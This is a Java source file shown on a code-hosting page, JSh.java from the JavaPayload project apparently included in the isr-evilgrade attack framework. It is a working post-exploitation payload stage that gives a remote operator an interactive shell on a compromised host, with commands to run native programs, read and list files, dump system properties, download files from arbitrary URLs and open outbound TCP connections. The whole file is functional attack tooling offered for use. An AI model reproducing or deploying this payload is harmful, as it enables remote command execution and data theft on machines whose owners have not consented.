PageRenderTime 78ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 1ms

/include/sunjava/JavaPayload/src/javapayload/stage/JSh.java

http://isr-evilgrade.googlecode.com/
Java | 346 lines | 293 code | 10 blank | 43 comment | 150 complexity | e8348a4ea1a3080d1c0cb03b3d8067ed MD5 | raw file
Possible License(s): GPL-2.0
  1. /*
  2. * Java Payloads.
  3. *
  4. * Copyright (c) 2010, Michael 'mihi' Schierl
  5. * All rights reserved.
  6. *
  7. * Redistribution and use in source and binary forms, with or without
  8. * modification, are permitted provided that the following conditions
  9. * are met:
  10. *
  11. * - Redistributions of source code must retain the above copyright notice,
  12. * this list of conditions and the following disclaimer.
  13. *
  14. * - Redistributions in binary form must reproduce the above copyright
  15. * notice, this list of conditions and the following disclaimer in the
  16. * documentation and/or other materials provided with the distribution.
  17. *
  18. * - Neither name of the copyright holders nor the names of its
  19. * contributors may be used to endorse or promote products derived from
  20. * this software without specific prior written permission.
  21. *
  22. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
  23. * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
  24. * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
  25. * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  26. * HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
  27. * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
  28. * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
  29. * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
  30. * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
  31. * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
  32. * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  33. */
  34. package javapayload.stage;
  35. import java.io.DataInputStream;
  36. import java.io.File;
  37. import java.io.FileInputStream;
  38. import java.io.FileOutputStream;
  39. import java.io.IOException;
  40. import java.io.InputStream;
  41. import java.io.OutputStream;
  42. import java.io.PipedInputStream;
  43. import java.io.PipedOutputStream;
  44. import java.io.PrintStream;
  45. import java.net.Socket;
  46. import java.net.URL;
  47. import java.util.ArrayList;
  48. import java.util.Enumeration;
  49. import java.util.List;
  50. public class JSh implements Stage, Runnable {
  51. // each job is an Object[] to avoid a pure data class
  52. // job[0] = name (String)
  53. // job[1] = raw object (Socket or Process or Stream) for closing
  54. // job[2] = OutputStream to forward user input to
  55. // job[3..length-1] = JshStreamForwarders to redirect output
  56. private final List jobs = new ArrayList();
  57. private PipedOutputStream signalStream;
  58. private InputStream originalIn;
  59. private PrintStream pout;
  60. /**
  61. * Forward data from one stream to another. Closes the input stream but not the output stream!
  62. */
  63. private void forward(InputStream in, OutputStream out) throws IOException {
  64. final byte[] buf = new byte[4096];
  65. int len;
  66. while ((len = in.read(buf)) != -1) {
  67. out.write(buf, 0, len);
  68. if (in.available() == 0) {
  69. out.flush();
  70. }
  71. }
  72. in.close();
  73. }
  74. private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
  75. final OutputStream out = (OutputStream) job[2];
  76. int b;
  77. boolean startOfLine = true, tilde = false, interrupted = true;
  78. while (true) {
  79. if (interrupted && job.length > 3) {
  80. boolean allFinished = true;
  81. for (int i = 3; i < job.length; i++) {
  82. if (!((JShStreamForwarder) job[i]).isFinished()) {
  83. allFinished = false;
  84. break;
  85. }
  86. }
  87. if (allFinished) {
  88. pout.println("Finished: " + job[0]);
  89. return false;
  90. }
  91. }
  92. interrupted = false;
  93. if ((b = in.read()) != -1) {
  94. if (b == 0) {
  95. b = in.read();
  96. if (b != 0) {
  97. interrupted = true;
  98. continue;
  99. }
  100. }
  101. if (startOfLine && b == '~') {
  102. tilde = true;
  103. } else if (tilde && b == '&') {
  104. return true;
  105. } else if (tilde && b == '.') {
  106. return false;
  107. } else {
  108. if (tilde && b != '~') {
  109. out.write('~');
  110. }
  111. out.write(b);
  112. if (in.available() == 0) {
  113. out.flush();
  114. }
  115. tilde = false;
  116. }
  117. startOfLine = (b == '\r' || b == '\n');
  118. } else {
  119. // our control connection has died...
  120. return false;
  121. }
  122. }
  123. }
  124. private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
  125. pout.println("Press ~& to suspend, ~. to stop job.");
  126. for (int i = 3; i < job.length; i++) {
  127. ((JShStreamForwarder) job[i]).pauseForwarding(false);
  128. }
  129. if (forwardEscapable(in, job)) {
  130. for (int i = 3; i < job.length; i++) {
  131. ((JShStreamForwarder) job[i]).pauseForwarding(true);
  132. }
  133. jobs.add(job);
  134. pout.println("Job suspended, see 'jobs'.");
  135. } else {
  136. for (int i = 3; i < job.length; i++) {
  137. ((JShStreamForwarder) job[i]).stopForwarding();
  138. }
  139. if (job[1] instanceof Socket) {
  140. ((Socket) job[1]).close();
  141. } else if (job[1] instanceof Process) {
  142. ((Process) job[1]).destroy();
  143. } else {
  144. ((OutputStream) job[1]).close();
  145. }
  146. }
  147. }
  148. public void run() {
  149. try {
  150. try {
  151. int b;
  152. while ((b = originalIn.read()) != -1) {
  153. signalStream.write(b);
  154. if (b == 0) {
  155. signalStream.write(b);
  156. }
  157. if (originalIn.available() == 0) {
  158. signalStream.flush();
  159. }
  160. }
  161. } finally {
  162. originalIn.close();
  163. signalStream.close();
  164. }
  165. } catch (final Throwable ex) {
  166. ex.printStackTrace(pout);
  167. }
  168. }
  169. public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
  170. this.originalIn = originalIn;
  171. signalStream = new PipedOutputStream();
  172. pout = new PrintStream(out, true);
  173. final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
  174. final Thread copier = new Thread(this);
  175. copier.setDaemon(true);
  176. copier.start();
  177. final JShSignalSender ss = new JShSignalSender(signalStream, pout);
  178. File pwd = new File(".").getCanonicalFile();
  179. while (true) {
  180. pout.print("! ");
  181. // yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
  182. String cmd = in.readLine();
  183. while (cmd.indexOf("\0$") != -1) {
  184. cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
  185. }
  186. if (cmd.length() == 0) {
  187. continue;
  188. }
  189. int pos = cmd.indexOf(' ');
  190. String params = "";
  191. if (pos != -1) {
  192. params = cmd.substring(pos + 1);
  193. cmd = cmd.substring(0, pos);
  194. }
  195. cmd = cmd.toLowerCase().intern();
  196. try {
  197. if (cmd == "info") {
  198. if (params.length() == 0) {
  199. final Enumeration e = System.getProperties().propertyNames();
  200. while (e.hasMoreElements()) {
  201. final String property = (String) e.nextElement();
  202. pout.println(property + "=" + System.getProperty(property));
  203. }
  204. } else {
  205. pout.println(params + "=" + System.getProperty(params));
  206. }
  207. } else if (cmd == "pwd") {
  208. pout.println(pwd.getPath());
  209. } else if (cmd == "cd") {
  210. File f = new File(pwd, params);
  211. if (f.exists() && f.isDirectory()) {
  212. pwd = f.getCanonicalFile();
  213. } else {
  214. f = new File(params);
  215. if (f.exists() && f.isDirectory()) {
  216. pwd = f.getCanonicalFile();
  217. } else {
  218. pout.println("Path not found.");
  219. }
  220. }
  221. pout.println(pwd.getPath());
  222. } else if (cmd == "ls") {
  223. final File[] roots = File.listRoots();
  224. for (int i = 0; i < roots.length; i++) {
  225. pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
  226. }
  227. pout.println();
  228. final File[] dir = pwd.listFiles();
  229. for (int i = 0; i < dir.length; i++) {
  230. pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
  231. }
  232. } else if (cmd == "exec") {
  233. Process proc;
  234. handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
  235. } else if (cmd == "cat") {
  236. final FileInputStream fis = new FileInputStream(new File(pwd, params));
  237. forward(fis, pout);
  238. } else if (cmd == "wget") {
  239. pos = params.indexOf(' ');
  240. if (pos == -1) {
  241. pout.println(" Usage: wget <URL> <filename>");
  242. } else {
  243. final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
  244. forward(new URL(params.substring(0, pos)).openStream(), fos);
  245. fos.close();
  246. }
  247. } else if (cmd == "telnet") {
  248. pos = params.indexOf(' ');
  249. if (pos == -1) {
  250. pout.println(" Usage: telnet <host> <port>");
  251. } else {
  252. Socket s;
  253. handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
  254. }
  255. } else if (cmd == "paste") {
  256. FileOutputStream fos;
  257. handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
  258. } else if (cmd == "jobs") {
  259. if (params.length() == 0) {
  260. for (int i = 0; i < jobs.size(); i++) {
  261. pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
  262. }
  263. } else {
  264. handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
  265. }
  266. } else if (cmd == "exit") {
  267. break;
  268. } else if (cmd == "help") {
  269. params = params.toLowerCase().intern();
  270. if (params == "info") {
  271. pout.println("info: show system properties.");
  272. pout.println(" Usage: info [property]");
  273. } else if (params == "pwd") {
  274. pout.println("pwd: show current directory.");
  275. pout.println(" Usage: pwd");
  276. } else if (params == "cd") {
  277. pout.println("cd: change directory.");
  278. pout.println(" Usage: cd <path>");
  279. } else if (params == "ls") {
  280. pout.println("ls: list directory.");
  281. pout.println(" Usage: ls");
  282. } else if (params == "exec") {
  283. pout.println("exec: execute native command.");
  284. pout.println(" Usage: exec <command>");
  285. } else if (params == "cat") {
  286. pout.println("cat: show text file.");
  287. pout.println(" Usage: cat <filename>");
  288. } else if (params == "wget") {
  289. pout.println("wget: download file.");
  290. pout.println(" Usage: wget <URL> <filename>");
  291. } else if (params == "telnet") {
  292. pout.println("telnet: create TCP connection.");
  293. pout.println(" Usage: telnet <host> <port>");
  294. } else if (params == "paste") {
  295. pout.println("paste: create text file.");
  296. pout.println(" Usage: paste <filename>");
  297. } else if (params == "jobs") {
  298. pout.println("jobs: list or continue jobs.");
  299. pout.println(" Usage: jobs [index]");
  300. } else if (params == "exit") {
  301. pout.println("exit: Exit JSh.");
  302. pout.println(" Usage: exit");
  303. } else {
  304. pout.println("help: show information about commands.");
  305. pout.println(" Usage: help [command]");
  306. pout.println();
  307. pout.println("Supported commands:");
  308. pout.println(" help - show this help");
  309. pout.println(" info - list system properties");
  310. pout.println(" pwd - show current directory");
  311. pout.println(" cd - change directory");
  312. pout.println(" ls - list directory");
  313. pout.println(" exec - execute native command");
  314. pout.println(" cat - show text file");
  315. pout.println(" wget - download file");
  316. pout.println(" telnet - create TCP connection");
  317. pout.println(" paste - create text file");
  318. pout.println(" jobs - list or continue jobs");
  319. pout.println(" exit - Exit JSh");
  320. pout.println();
  321. pout.println("When inside an interactive command, enter ~. on a new");
  322. pout.println("line to exit from that command. Enter ~& to background the command.");
  323. pout.println("Enter ~~ to start a line with a ~ character");
  324. }
  325. } else {
  326. pout.println("Unknown command: " + cmd);
  327. pout.println("Type help for more info.");
  328. }
  329. } catch (final Exception ex) {
  330. ex.printStackTrace(pout);
  331. }
  332. }
  333. ss.terminate();
  334. pout.close();
  335. }
  336. }